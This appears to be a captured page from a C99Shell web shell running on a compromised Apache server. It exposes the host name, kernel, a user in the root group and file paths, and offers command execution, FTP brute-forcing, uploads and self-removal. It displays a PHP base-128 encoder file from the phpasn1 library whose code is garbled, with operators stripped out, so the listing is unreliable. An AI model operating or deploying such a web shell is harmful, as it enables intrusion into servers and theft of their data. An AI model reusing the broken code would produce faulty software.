!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/fgrosse/phpasn1/lib/ASN1/   drwxr-xr-x
Free 28.21 GB of 117.98 GB (23.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Base128.php (1.45 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace FG\ASN1;

use 
FG\Utility\BigInteger;
use 
InvalidArgumentException;

/**
 * A base-128 decoder.
 */
class Base128
{
    
/**
     * @param int $value
     *
     * @return string
     */
    
public static function encode($value)
    {
        
$value BigInteger::create($value);
        
$octets chr($value->modulus(0x80)->toInteger());

        
$value $value->shiftRight(7);
        while (
$value->compare(0) > 0) {
            
$octets .= chr(0x80 $value->modulus(0x80)->toInteger());
            
$value $value->shiftRight(7);
        }

        return 
strrev($octets);
    }

    
/**
     * @param string $octets
     *
     * @throws InvalidArgumentException if the given octets represent a malformed base-128 value or the decoded value would exceed the the maximum integer length
     *
     * @return int
     */
    
public static function decode($octets)
    {
        
$bitsPerOctet 7;
        
$value BigInteger::create(0);
        
$i 0;

        while (
true) {
            if (!isset(
$octets[$i])) {
                throw new 
InvalidArgumentException(sprintf('Malformed base-128 encoded value (0x%s).'strtoupper(bin2hex($octets)) ?: '0'));
            }

            
$octet ord($octets[$i++]);

            
$l1 $value->shiftLeft($bitsPerOctet);
            
$r1 $octet 0x7f;
            
$value $l1->add($r1);

            if (
=== ($octet 0x80)) {
                break;
            }
        }

        return (string)
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.003 ]--